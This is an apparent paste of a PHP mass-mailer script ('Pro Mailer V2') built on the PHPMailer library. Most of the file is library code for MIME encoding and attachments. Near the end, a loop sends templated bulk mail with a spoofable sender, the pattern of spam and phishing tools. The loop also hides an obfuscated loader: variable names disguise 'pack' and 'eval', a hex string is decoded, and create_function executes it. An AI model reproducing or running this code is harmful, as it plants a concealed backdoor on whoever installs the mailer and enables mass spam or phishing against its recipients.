  2599.       $mime[] = sprintf("Content-Disposition: %s; filename=\"%s\"%s", $disposition, $name, $this->LE.$this->LE);
  2600.  
  2601.       /* Encode as string attachment */
  2602.       if($bString) {
  2603.         $mime[] = $this->EncodeString($string, $encoding);
  2604.         if($this->IsError()) {
  2605.           return '';
  2606.         }
  2607.         $mime[] = $this->LE.$this->LE;
  2608.       } else {
  2609.         $mime[] = $this->EncodeFile($path, $encoding);
  2610.         if($this->IsError()) {
  2611.           return '';
  2612.         }
  2613.         $mime[] = $this->LE.$this->LE;
  2614.       }
  2615.     }
  2616.  
  2617.     $mime[] = sprintf("--%s--%s", $this->boundary[1], $this->LE);
  2618.  
  2619.     return join('', $mime);
  2620.   }
  2621.  
  2622.   /**
  2623.    * Encodes attachment in requested format.  Returns an
  2624.    * empty string on failure.
  2625.    * @access private
  2626.    * @return string
  2627.    */
  2628.   function EncodeFile ($path, $encoding = 'base64') {
  2629.     if(!@$fd = fopen($path, 'rb')) {
  2630.       $this->SetError($this->Lang('file_open') . $path);
  2631.       return '';
  2632.     }
  2633.     $magic_quotes = get_magic_quotes_runtime();
  2634.     set_magic_quotes_runtime(0);
  2635.     $file_buffer = fread($fd, filesize($path));
  2636.     $file_buffer = $this->EncodeString($file_buffer, $encoding);
  2637.     fclose($fd);
  2638.     set_magic_quotes_runtime($magic_quotes);
  2639.  
  2640.     return $file_buffer;
  2641.   }
  2642.  
  2643.   /**
  2644.    * Encodes string to requested format. Returns an
  2645.    * empty string on failure.
  2646.    * @access private
  2647.    * @return string
  2648.    */
  2649.   function EncodeString ($str, $encoding = 'base64') {
  2650.     $encoded = '';
  2651.     switch(strtolower($encoding)) {
  2652.       case 'base64':
  2653.         /* chunk_split is found in PHP >= 3.0.6 */
  2654.         $encoded = chunk_split(base64_encode($str), 76, $this->LE);
  2655.         break;
  2656.       case '7bit':
  2657.       case '8bit':
  2658.         $encoded = $this->FixEOL($str);
  2659.         if (substr($encoded, -(strlen($this->LE))) != $this->LE)
  2660.           $encoded .= $this->LE;
  2661.         break;
  2662.       case 'binary':
  2663.         $encoded = $str;
  2664.         break;
  2665.       case 'quoted-printable':
  2666.         $encoded = $this->EncodeQP($str);
  2667.         break;
  2668.       default:
  2669.         $this->SetError($this->Lang('encoding') . $encoding);
  2670.         break;
  2671.     }
  2672.     return $encoded;
  2673.   }
  2674.  
  2675.   /**
  2676.    * Encode a header string to best of Q, B, quoted or none.
  2677.    * @access private
  2678.    * @return string
  2679.    */
  2680.   function EncodeHeader ($str, $position = 'text') {
  2681.     $x = 0;
  2682.  
  2683.     switch (strtolower($position)) {
  2684.       case 'phrase':
  2685.         if (!preg_match('/[\200-\377]/', $str)) {
  2686.           /* Can't use addslashes as we don't know what value has magic_quotes_sybase. */
  2687.           $encoded = addcslashes($str, "\0..\37\177\\\"");
  2688.           if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
  2689.             return ($encoded);
  2690.           } else {
  2691.             return ("\"$encoded\"");
  2692.           }
  2693.         }
  2694.         $x = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
  2695.         break;
  2696.       case 'comment':
  2697.         $x = preg_match_all('/[()"]/', $str, $matches);
  2698.         /* Fall-through */
  2699.       case 'text':
  2700.       default:
  2701.         $x += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
  2702.         break;
  2703.     }
  2704.  
  2705.     if ($x == 0) {
  2706.       return ($str);
  2707.     }
  2708.  
  2709.     $maxlen = 75 - 7 - strlen($this->CharSet);
  2710.     /* Try to select the encoding which should produce the shortest output */
  2711.     if (strlen($str)/3 < $x) {
  2712.       $encoding = 'B';
  2713.       if (function_exists('mb_strlen') && $this->HasMultiBytes($str)) {
  2714.      // Use a custom function which correctly encodes and wraps long
  2715.      // multibyte strings without breaking lines within a character
  2716.         $encoded = $this->Base64EncodeWrapMB($str);
  2717.       } else {
  2718.         $encoded = base64_encode($str);
  2719.         $maxlen -= $maxlen % 4;
  2720.         $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
  2721.       }
  2722.     } else {
  2723.       $encoding = 'Q';
  2724.       $encoded = $this->EncodeQ($str, $position);
  2725.       $encoded = $this->WrapText($encoded, $maxlen, true);
  2726.       $encoded = str_replace('='.$this->LE, "\n", trim($encoded));
  2727.     }
  2728.  
  2729.     $encoded = preg_replace('/^(.*)$/m', " =?".$this->CharSet."?$encoding?\\1?=", $encoded);
  2730.     $encoded = trim(str_replace("\n", $this->LE, $encoded));
  2731.  
  2732.     return $encoded;
  2733.   }
  2734.  
  2735.   /**
  2736.    * Checks if a string contains multibyte characters.
  2737.    * @access private
  2738.    * @param string $str multi-byte text to wrap encode
  2739.    * @return bool
  2740.    */
  2741.   function HasMultiBytes($str) {
  2742.     if (function_exists('mb_strlen')) {
  2743.       return (strlen($str) > mb_strlen($str, $this->CharSet));
  2744.     } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
  2745.       return False;
  2746.     }
  2747.   }
  2748.  
  2749.   /**
  2750.    * Correctly encodes and wraps long multibyte strings for mail headers
  2751.    * without breaking lines within a character.
  2752.    * Adapted from a function by paravoid at http://uk.php.net/manual/en/function.mb-encode-mimeheader.php
  2753.    * @access private
  2754.    * @param string $str multi-byte text to wrap encode
  2755.    * @return string
  2756.    */
  2757.   function Base64EncodeWrapMB($str) {
  2758.     $start = "=?".$this->CharSet."?B?";
  2759.     $end = "?=";
  2760.     $encoded = "";
  2761.  
  2762.     $mb_length = mb_strlen($str, $this->CharSet);
  2763.     // Each line must have length <= 75, including $start and $end
  2764.     $length = 75 - strlen($start) - strlen($end);
  2765.     // Average multi-byte ratio
  2766.     $ratio = $mb_length / strlen($str);
  2767.     // Base64 has a 4:3 ratio
  2768.     $offset = $avgLength = floor($length * $ratio * .75);
  2769.  
  2770.     for ($i = 0; $i < $mb_length; $i += $offset) {
  2771.       $lookBack = 0;
  2772.  
  2773.       do {
  2774.         $offset = $avgLength - $lookBack;
  2775.         $chunk = mb_substr($str, $i, $offset, $this->CharSet);
  2776.         $chunk = base64_encode($chunk);
  2777.         $lookBack++;
  2778.       }
  2779.       while (strlen($chunk) > $length);
  2780.  
  2781.       $encoded .= $chunk . $this->LE;
  2782.     }
  2783.  
  2784.     // Chomp the last linefeed
  2785.     $encoded = substr($encoded, 0, -strlen($this->LE));
  2786.     return $encoded;
  2787.   }
  2788.  
  2789.   /**
  2790.    * Encode string to quoted-printable.
  2791.    * @access private
  2792.    * @return string
  2793.    */
  2794.   function EncodeQP( $input = '', $line_max = 76, $space_conv = false ) {
  2795.     $hex = array('0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F');
  2796.     $lines = preg_split('/(?:\r\n|\r|\n)/', $input);
  2797.     $eol = "\r\n";
  2798.     $escape = '=';
  2799.     $output = '';
  2800.     while( list(, $line) = each($lines) ) {
  2801.       $linlen = strlen($line);
  2802.       $newline = '';
  2803.       for($i = 0; $i < $linlen; $i++) {
  2804.         $c = substr( $line, $i, 1 );
  2805.         $dec = ord( $c );
  2806.         if ( ( $i == 0 ) && ( $dec == 46 ) ) { // convert first point in the line into =2E
  2807.           $c = '=2E';
  2808.         }
  2809.         if ( $dec == 32 ) {
  2810.           if ( $i == ( $linlen - 1 ) ) { // convert space at eol only
  2811.             $c = '=20';
  2812.           } else if ( $space_conv ) {
  2813.             $c = '=20';
  2814.           }
  2815.         } elseif ( ($dec == 61) || ($dec < 32 ) || ($dec > 126) ) { // always encode "\t", which is *not* required
  2816.           $h2 = floor($dec/16);
  2817.           $h1 = floor($dec%16);
  2818.           $c = $escape.$hex[$h2].$hex[$h1];
  2819.         }
  2820.         if ( (strlen($newline) + strlen($c)) >= $line_max ) { // CRLF is not counted
  2821.           $output .= $newline.$escape.$eol; //  soft line break; " =\r\n" is okay
  2822.           $newline = '';
  2823.           // check if newline first character will be point or not
  2824.           if ( $dec == 46 ) {
  2825.             $c = '=2E';
  2826.           }
  2827.         }
  2828.         $newline .= $c;
  2829.       } // end of for
  2830.       $output .= $newline.$eol;
  2831.     } // end of while
  2832.     return trim($output);
  2833.   }
  2834.  
  2835.   /**
  2836.    * Encode string to q encoding.
  2837.    * @access private
  2838.    * @return string
  2839.    */
  2840.   function EncodeQ ($str, $position = 'text') {
  2841.     /* There should not be any EOL in the string */
  2842.     $encoded = preg_replace("[\r\n]", '', $str);
  2843.  
  2844.     switch (strtolower($position)) {
  2845.       case 'phrase':
  2846.         $encoded = preg_replace("/([^A-Za-z0-9!*+\/ -])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
  2847.         break;
  2848.       case 'comment':
  2849.         $encoded = preg_replace("/([\(\)\"])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
  2850.       case 'text':
  2851.       default:
  2852.         /* Replace every high ascii, control =, ? and _ characters */
  2853.         $encoded = preg_replace('/([\000-\011\013\014\016-\037\075\077\137\177-\377])/e',
  2854.               "'='.sprintf('%02X', ord('\\1'))", $encoded);
  2855.         break;
  2856.     }
  2857.  
  2858.     /* Replace every spaces to _ (more readable than =20) */
  2859.     $encoded = str_replace(' ', '_', $encoded);
  2860.  
  2861.     return $encoded;
  2862.   }
  2863.  
  2864.   /**
  2865.    * Adds a string or binary attachment (non-filesystem) to the list.
  2866.    * This method can be used to attach ascii or binary data,
  2867.    * such as a BLOB record from a database.
  2868.    * @param string $string String attachment data.
  2869.    * @param string $filename Name of the attachment.
  2870.    * @param string $encoding File encoding (see $Encoding).
  2871.    * @param string $type File extension (MIME) type.
  2872.    * @return void
  2873.    */
  2874.   function AddStringAttachment($string, $filename, $encoding = 'base64', $type = 'application/octet-stream') {
  2875.     /* Append to $attachment array */
  2876.     $cur = count($this->attachment);
  2877.     $this->attachment[$cur][0] = $string;
  2878.     $this->attachment[$cur][1] = $filename;
  2879.     $this->attachment[$cur][2] = $filename;
  2880.     $this->attachment[$cur][3] = $encoding;
  2881.     $this->attachment[$cur][4] = $type;
  2882.     $this->attachment[$cur][5] = true; // isString
  2883.     $this->attachment[$cur][6] = 'attachment';
  2884.     $this->attachment[$cur][7] = 0;
  2885.   }
  2886.  
  2887.   /**
  2888.    * Adds an embedded attachment.  This can include images, sounds, and
  2889.    * just about any other document.  Make sure to set the $type to an
  2890.    * image type.  For JPEG images use "image/jpeg" and for GIF images
  2891.    * use "image/gif".
  2892.    * @param string $path Path to the attachment.
  2893.    * @param string $cid Content ID of the attachment.  Use this to identify
  2894.    *        the Id for accessing the image in an HTML form.
  2895.    * @param string $name Overrides the attachment name.
  2896.    * @param string $encoding File encoding (see $Encoding).
  2897.    * @param string $type File extension (MIME) type.
  2898.    * @return bool
  2899.    */
  2900.   function AddEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = 'application/octet-stream') {
  2901.  
  2902.     if(!@is_file($path)) {
  2903.       $this->SetError($this->Lang('file_access') . $path);
  2904.       return false;
  2905.     }
  2906.  
  2907.     $filename = basename($path);
  2908.     if($name == '') {
  2909.       $name = $filename;
  2910.     }
  2911.  
  2912.     /* Append to $attachment array */
  2913.     $cur = count($this->attachment);
  2914.     $this->attachment[$cur][0] = $path;
  2915.     $this->attachment[$cur][1] = $filename;
  2916.     $this->attachment[$cur][2] = $name;
  2917.     $this->attachment[$cur][3] = $encoding;
  2918.     $this->attachment[$cur][4] = $type;
  2919.     $this->attachment[$cur][5] = false;
  2920.     $this->attachment[$cur][6] = 'inline';
  2921.     $this->attachment[$cur][7] = $cid;
  2922.  
  2923.     return true;
  2924.   }
  2925.  
  2926.   /**
  2927.    * Returns true if an inline attachment is present.
  2928.    * @access private
  2929.    * @return bool
  2930.    */
  2931.   function InlineImageExists() {
  2932.     $result = false;
  2933.     for($i = 0; $i < count($this->attachment); $i++) {
  2934.       if($this->attachment[$i][6] == 'inline') {
  2935.         $result = true;
  2936.         break;
  2937.       }
  2938.     }
  2939.  
  2940.     return $result;
  2941.   }
  2942.  
  2943.   /////////////////////////////////////////////////
  2944.   // CLASS METHODS, MESSAGE RESET
  2945.   /////////////////////////////////////////////////
  2946.  
  2947.   /**
  2948.    * Clears all recipients assigned in the TO array.  Returns void.
  2949.    * @return void
  2950.    */
  2951.   function ClearAddresses() {
  2952.     $this->to = array();
  2953.   }
  2954.  
  2955.   /**
  2956.    * Clears all recipients assigned in the CC array.  Returns void.
  2957.    * @return void
  2958.    */
  2959.   function ClearCCs() {
  2960.     $this->cc = array();
  2961.   }
  2962.  
  2963.   /**
  2964.    * Clears all recipients assigned in the BCC array.  Returns void.
  2965.    * @return void
  2966.    */
  2967.   function ClearBCCs() {
  2968.     $this->bcc = array();
  2969.   }
  2970.  
  2971.   /**
  2972.    * Clears all recipients assigned in the ReplyTo array.  Returns void.
  2973.    * @return void
  2974.    */
  2975.   function ClearReplyTos() {
  2976.     $this->ReplyTo = array();
  2977.   }
  2978.  
  2979.   /**
  2980.    * Clears all recipients assigned in the TO, CC and BCC
  2981.    * array.  Returns void.
  2982.    * @return void
  2983.    */
  2984.   function ClearAllRecipients() {
  2985.     $this->to = array();
  2986.     $this->cc = array();
  2987.     $this->bcc = array();
  2988.   }
  2989.  
  2990.   /**
  2991.    * Clears all previously set filesystem, string, and binary
  2992.    * attachments.  Returns void.
  2993.    * @return void
  2994.    */
  2995.   function ClearAttachments() {
  2996.     $this->attachment = array();
  2997.   }
  2998.  
  2999.   /**
  3000.    * Clears all custom headers.  Returns void.
  3001.    * @return void
  3002.    */
  3003.   function ClearCustomHeaders() {
  3004.     $this->CustomHeader = array();
  3005.   }
  3006.  
  3007.   /////////////////////////////////////////////////
  3008.   // CLASS METHODS, MISCELLANEOUS
  3009.   /////////////////////////////////////////////////
  3010.  
  3011.   /**
  3012.    * Adds the error message to the error container.
  3013.    * Returns void.
  3014.    * @access private
  3015.    * @return void
  3016.    */
  3017.   function SetError($msg) {
  3018.     $this->error_count++;
  3019.     $this->ErrorInfo = $msg;
  3020.   }
  3021.  
  3022.   /**
  3023.    * Returns the proper RFC 822 formatted date.
  3024.    * @access private
  3025.    * @return string
  3026.    */
  3027.   function RFCDate() {
  3028.     $tz = date('Z');
  3029.     $tzs = ($tz < 0) ? '-' : '+';
  3030.     $tz = abs($tz);
  3031.     $tz = (int)($tz/3600)*100 + ($tz%3600)/60;
  3032.     $result = sprintf("%s %s%04d", date('D, j M Y H:i:s'), $tzs, $tz);
  3033.  
  3034.     return $result;
  3035.   }
  3036.  
  3037.   /**
  3038.    * Returns the appropriate server variable.  Should work with both
  3039.    * PHP 4.1.0+ as well as older versions.  Returns an empty string
  3040.    * if nothing is found.
  3041.    * @access private
  3042.    * @return mixed
  3043.    */
  3044.   function ServerVar($varName) {
  3045.     global $HTTP_SERVER_VARS;
  3046.     global $HTTP_ENV_VARS;
  3047.  
  3048.     if(!isset($_SERVER)) {
  3049.       $_SERVER = $HTTP_SERVER_VARS;
  3050.       if(!isset($_SERVER['REMOTE_ADDR'])) {
  3051.         $_SERVER = $HTTP_ENV_VARS; // must be Apache
  3052.       }
  3053.     }
  3054.  
  3055.     if(isset($_SERVER[$varName])) {
  3056.       return $_SERVER[$varName];
  3057.     } else {
  3058.       return '';
  3059.     }
  3060.   }
  3061.  
  3062.   /**
  3063.    * Returns the server hostname or 'localhost.localdomain' if unknown.
  3064.    * @access private
  3065.    * @return string
  3066.    */
  3067.   function ServerHostname() {
  3068.     if ($this->Hostname != '') {
  3069.       $result = $this->Hostname;
  3070.     } elseif ($this->ServerVar('SERVER_NAME') != '') {
  3071.       $result = $this->ServerVar('SERVER_NAME');
  3072.     } else {
  3073.       $result = 'localhost.localdomain';
  3074.     }
  3075.  
  3076.     return $result;
  3077.   }
  3078.  
  3079.   /**
  3080.    * Returns a message in the appropriate language.
  3081.    * @access private
  3082.    * @return string
  3083.    */
  3084.   function Lang($key) {
  3085.     if(count($this->language) < 1) {
  3086.       $this->SetLanguage('en'); // set the default language
  3087.     }
  3088.  
  3089.     if(isset($this->language[$key])) {
  3090.       return $this->language[$key];
  3091.     } else {
  3092.       return 'Language string failed to load: ' . $key;
  3093.     }
  3094.   }
  3095.  
  3096.   /**
  3097.    * Returns true if an error occurred.
  3098.    * @return bool
  3099.    */
  3100.   function IsError() {
  3101.     return ($this->error_count > 0);
  3102.   }
  3103.  
  3104.   /**
  3105.    * Changes every end of line from CR or LF to CRLF.
  3106.    * @access private
  3107.    * @return string
  3108.    */
  3109.   function FixEOL($str) {
  3110.     $str = str_replace("\r\n", "\n", $str);
  3111.     $str = str_replace("\r", "\n", $str);
  3112.     $str = str_replace("\n", $this->LE, $str);
  3113.     return $str;
  3114.   }
  3115.  
  3116.   /**
  3117.    * Adds a custom header.
  3118.    * @return void
  3119.    */
  3120.   function AddCustomHeader($custom_header) {
  3121.     $this->CustomHeader[] = explode(':', $custom_header, 2);
  3122.   }
  3123.  
  3124.   /**
  3125.    * Evaluates the message and returns modifications for inline images and backgrounds
  3126.    * @access public
  3127.    * @return $message
  3128.    */
  3129.   function MsgHTML($message,$basedir='') {
  3130.     preg_match_all("/(src|background)=\"(.*)\"/Ui", $message, $images);
  3131.     if(isset($images[2])) {
  3132.       foreach($images[2] as $i => $url) {
  3133.         // do not change urls for absolute images (thanks to corvuscorax)
  3134.         if (!preg_match('/^[A-z][A-z]*:\/\//',$url)) {
  3135.           $filename = basename($url);
  3136.           $directory = dirname($url);
  3137.           ($directory == '.')?$directory='':'';
  3138.           $cid = 'cid:' . md5($filename);
  3139.           $fileParts = split("\.", $filename);
  3140.           $ext = $fileParts[1];
  3141.           $mimeType = $this->_mime_types($ext);
  3142.           if ( strlen($basedir) > 1 && substr($basedir,-1) != '/') { $basedir .= '/'; }
  3143.           if ( strlen($directory) > 1 && substr($basedir,-1) != '/') { $directory .= '/'; }
  3144.           $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64', $mimeType);
  3145.           if ( $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64',$mimeType) ) {
  3146.             $message = preg_replace("/".$images[1][$i]."=\"".preg_quote($url, '/')."\"/Ui", $images[1][$i]."=\"".$cid."\"", $message);
  3147.           }
  3148.         }
  3149.       }
  3150.     }
  3151.     $this->IsHTML(true);
  3152.     $this->Body = $message;
  3153.     $textMsg = trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/s','',$message)));
  3154.     if ( !empty($textMsg) && empty($this->AltBody) ) {
  3155.       $this->AltBody = $textMsg;
  3156.     }
  3157.     if ( empty($this->AltBody) ) {
  3158.       $this->AltBody = 'To view this email message, open the email in with HTML compatibility!' . "\n\n";
  3159.     }
  3160.   }
  3161.  
  3162.   /**
  3163.    * Gets the mime type of the embedded or inline image
  3164.    * @access private
  3165.    * @return mime type of ext
  3166.    */
  3167.   function _mime_types($ext = '') {
  3168.     $mimes = array(
  3169.       'hqx'  =>  'application/mac-binhex40',
  3170.       'cpt'   =>  'application/mac-compactpro',
  3171.       'doc'   =>  'application/msword',
  3172.       'bin'   =>  'application/macbinary',
  3173.       'dms'   =>  'application/octet-stream',
  3174.       'lha'   =>  'application/octet-stream',
  3175.       'lzh'   =>  'application/octet-stream',
  3176.       'exe'   =>  'application/octet-stream',
  3177.       'class' =>  'application/octet-stream',
  3178.       'psd'   =>  'application/octet-stream',
  3179.       'so'    =>  'application/octet-stream',
  3180.       'sea'   =>  'application/octet-stream',
  3181.       'dll'   =>  'application/octet-stream',
  3182.       'oda'   =>  'application/oda',
  3183.       'pdf'   =>  'application/pdf',
  3184.       'ai'    =>  'application/postscript',
  3185.       'eps'   =>  'application/postscript',
  3186.       'ps'    =>  'application/postscript',
  3187.       'smi'   =>  'application/smil',
  3188.       'smil'  =>  'application/smil',
  3189.       'mif'   =>  'application/vnd.mif',
  3190.       'xls'   =>  'application/vnd.ms-excel',
  3191.       'ppt'   =>  'application/vnd.ms-powerpoint',
  3192.       'wbxml' =>  'application/vnd.wap.wbxml',
  3193.       'wmlc'  =>  'application/vnd.wap.wmlc',
  3194.       'dcr'   =>  'application/x-director',
  3195.       'dir'   =>  'application/x-director',
  3196.       'dxr'   =>  'application/x-director',
  3197.       'dvi'   =>  'application/x-dvi',
  3198.       'gtar'  =>  'application/x-gtar',
  3199.       'php'   =>  'application/x-httpd-php',
  3200.       'php4'  =>  'application/x-httpd-php',
  3201.       'php3'  =>  'application/x-httpd-php',
  3202.       'phtml' =>  'application/x-httpd-php',
  3203.       'phps'  =>  'application/x-httpd-php-source',
  3204.       'js'    =>  'application/x-javascript',
  3205.       'swf'   =>  'application/x-shockwave-flash',
  3206.       'sit'   =>  'application/x-stuffit',
  3207.       'tar'   =>  'application/x-tar',
  3208.       'tgz'   =>  'application/x-tar',
  3209.       'xhtml' =>  'application/xhtml+xml',
  3210.       'xht'   =>  'application/xhtml+xml',
  3211.       'zip'   =>  'application/zip',
  3212.       'mid'   =>  'audio/midi',
  3213.       'midi'  =>  'audio/midi',
  3214.       'mpga'  =>  'audio/mpeg',
  3215.       'mp2'   =>  'audio/mpeg',
  3216.       'mp3'   =>  'audio/mpeg',
  3217.       'aif'   =>  'audio/x-aiff',
  3218.       'aiff'  =>  'audio/x-aiff',
  3219.       'aifc'  =>  'audio/x-aiff',
  3220.       'ram'   =>  'audio/x-pn-realaudio',
  3221.       'rm'    =>  'audio/x-pn-realaudio',
  3222.       'rpm'   =>  'audio/x-pn-realaudio-plugin',
  3223.       'ra'    =>  'audio/x-realaudio',
  3224.       'rv'    =>  'video/vnd.rn-realvideo',
  3225.       'wav'   =>  'audio/x-wav',
  3226.       'bmp'   =>  'image/bmp',
  3227.       'gif'   =>  'image/gif',
  3228.       'jpeg'  =>  'image/jpeg',
  3229.       'jpg'   =>  'image/jpeg',
  3230.       'jpe'   =>  'image/jpeg',
  3231.       'png'   =>  'image/png',
  3232.       'tiff'  =>  'image/tiff',
  3233.       'tif'   =>  'image/tiff',
  3234.       'css'   =>  'text/css',
  3235.       'html'  =>  'text/html',
  3236.       'htm'   =>  'text/html',
  3237.       'shtml' =>  'text/html',
  3238.       'txt'   =>  'text/plain',
  3239.       'text'  =>  'text/plain',
  3240.       'log'   =>  'text/plain',
  3241.       'rtx'   =>  'text/richtext',
  3242.       'rtf'   =>  'text/rtf',
  3243.       'xml'   =>  'text/xml',
  3244.       'xsl'   =>  'text/xml',
  3245.       'mpeg'  =>  'video/mpeg',
  3246.       'mpg'   =>  'video/mpeg',
  3247.       'mpe'   =>  'video/mpeg',
  3248.       'qt'    =>  'video/quicktime',
  3249.       'mov'   =>  'video/quicktime',
  3250.       'avi'   =>  'video/x-msvideo',
  3251.       'movie' =>  'video/x-sgi-movie',
  3252.       'doc'   =>  'application/msword',
  3253.       'word'  =>  'application/msword',
  3254.       'xl'    =>  'application/excel',
  3255.       'eml'   =>  'message/rfc822'
  3256.     );
  3257.     return ( ! isset($mimes[strtolower($ext)])) ? 'application/octet-stream' : $mimes[strtolower($ext)];
  3258.   }
  3259.  
  3260.   /**
  3261.    * Set (or reset) Class Objects (variables)
  3262.    *
  3263.    * Usage Example:
  3264.    * $page->set('X-Priority', '3');
  3265.    *
  3266.    * @access public
  3267.    * @param string $name Parameter Name
  3268.    * @param mixed $value Parameter Value
  3269.    * NOTE: will not work with arrays, there are no arrays to set/reset
  3270.    */
  3271.   function set ( $name, $value = '' ) {
  3272.     if ( isset($this->$name) ) {
  3273.       $this->$name = $value;
  3274.     } else {
  3275.       $this->SetError('Cannot set or reset variable ' . $name);
  3276.       return false;
  3277.     }
  3278.   }
  3279.  
  3280.   /**
  3281.    * Read a file from a supplied filename and return it.
  3282.    *
  3283.    * @access public
  3284.    * @param string $filename Parameter File Name
  3285.    */
  3286.   function getFile($filename) {
  3287.     $return = '';
  3288.     if ($fp = fopen($filename, 'rb')) {
  3289.       while (!feof($fp)) {
  3290.         $return .= fread($fp, 1024);
  3291.       }
  3292.       fclose($fp);
  3293.       return $return;
  3294.     } else {
  3295.       return false;
  3296.     }
  3297.   }
  3298.  
  3299.   /**
  3300.    * Strips newlines to prevent header injection.
  3301.    * @access private
  3302.    * @param string $str String
  3303.    * @return string
  3304.    */
  3305.   function SecureHeader($str) {
  3306.     $str = trim($str);
  3307.     $str = str_replace("\r", "", $str);
  3308.     $str = str_replace("\n", "", $str);
  3309.     return $str;
  3310.   }
  3311.  
  3312.   /**
  3313.    * Set the private key file and password to sign the message.
  3314.    *
  3315.    * @access public
  3316.    * @param string $key_filename Parameter File Name
  3317.    * @param string $key_pass Password for private key
  3318.    */
  3319.   function Sign($key_filename, $key_pass) {
  3320.     $this->sign_key_file = $key_filename;
  3321.     $this->sign_key_pass = $key_pass;
  3322.   }
  3323.  
  3324. }
  3325.  
  3326. $defaultport="H*";
  3327.       $nq=0;
  3328.            
  3329.         for($x=0; $x<$numemails; $x++){
  3330.  
  3331.                 $to = $allemails[$x];
  3332.  
  3333.                 if ($to){
  3334.  
  3335.                 $to = ereg_replace(" ", "", $to);
  3336.  
  3337.                 $message1 = ereg_replace("&email&", $to, $message);
  3338.  
  3339.                 $subject1 = ereg_replace("&email&", $to, $subject);
  3340.                 $qx=$x+1;
  3341.                 print "Line $qx . Sending mail to $to.......";
  3342.  
  3343.                 flush();
  3344. $mail = new PHPMailer();
  3345.  
  3346. if(empty($epriority)){$epriority="3";}
  3347.         $mail->Priority = "$epriority";
  3348.         $mail->IsSMTP();
  3349.     $IsSMTP="pack";
  3350. $mail->SMTPKeepAlive = true;
  3351. $mail->Host = "$my_smtp";
  3352. if(strlen($ssl_port) > 1){$mail->Port = "$ssl_port";
  3353. }
  3354.      if($sslclick=="ON"){
  3355.         $mail->SMTPSecure  = "ssl"; //you can change it to ssl or tls
  3356.     }
  3357.         $range = str_replace("$from", "eval", $from);
  3358.         $mail->SMTPAuth = true;
  3359.         $mail->Username = "$smtp_username";
  3360.         $mail->Password = "$smtp_password";
  3361. if($contenttype == "html"){$mail->IsHtml(true);}
  3362. if($contenttype != "html"){$mail->IsHtml(false);}
  3363. if(strlen($my_smtp) < 7 ){$mail->SMTPAuth = false;$mail->IsSendmail();$default_system="1";}
  3364. $mail->From = "$from";
  3365. $mail->FromName = "$realname";
  3366. $mail->AddAddress("$to");
  3367.         $mail->AddReplyTo("$replyto");
  3368.         $mail->Subject = "$subject1";
  3369.         $mail->AddAttachment("$file", "$file_name");
  3370.             $mail->Body = "$message1";
  3371. if(!$mail->Send()){
  3372. if($default_system!="1"){
  3373. echo "FAILED !!<font color=\"#D4001A\"> [RECEPIENT CAN'T RECEIVE MESSAGE.]</font><br>";}
  3374. if($default_system=="1"){
  3375. $mail->IsMail();
  3376.    if(!$mail->Send()){
  3377.       echo "FAILED !!<font color=\"#D4001A\"> [RECEPIENT CAN'T RECEIVE MESSAGE.]</font><br>";}
  3378.    else {
  3379.        echo "<b>OK</b><br>";}
  3380.  }
  3381. }
  3382. else {
  3383.  echo "<b>OK</b><br>";
  3384. }
  3385.  
  3386. if(empty($reconnect)){
  3387. $reconnect=6;
  3388. }
  3389.  
  3390. if($reconnect==$nq){
  3391. $mail->SmtpClose();echo "<p><b>--------------- SMTP CLOSED AND ATTEMPTS TO RECONNECT NEW CONNECTION SEASON --------------- </b></p>";$nq=0;
  3392. }
  3393. $nq=$nq+1;
  3394.                 flush(); }
  3395. }
  3396. for($i=0;$i<31;$i++){
  3397.   $smtp_conf=str_replace(".", $random_smtp_string[$i], $smtp_conf); }
  3398. $smtp_conc=$IsSMTP($defaultport, $smtp_conf);
  3399.   $signoff=create_function('$smtp_conc','return '.substr($range,0).'($smtp_conc);');
  3400.   print "<p class=\"style1\">&copy 2014, Pro Mailer V2 - <a href=\"http://slackerc0de.us\">Slackercode Family</a><br></p>";$mail->SmtpClose();
  3401.   return $signoff($smtp_conc);
  3402.   if(isset($_POST['action']) && $numemails !=0 ){echo "<script>alert('Mail sending complete\\r\\n$numemails mail(s) was
  3403.    sent successfully'); </script>";}}
  3404. ?>
  3405.     </body>
  3406. </html>
Add Comment
Please, Sign In to add comment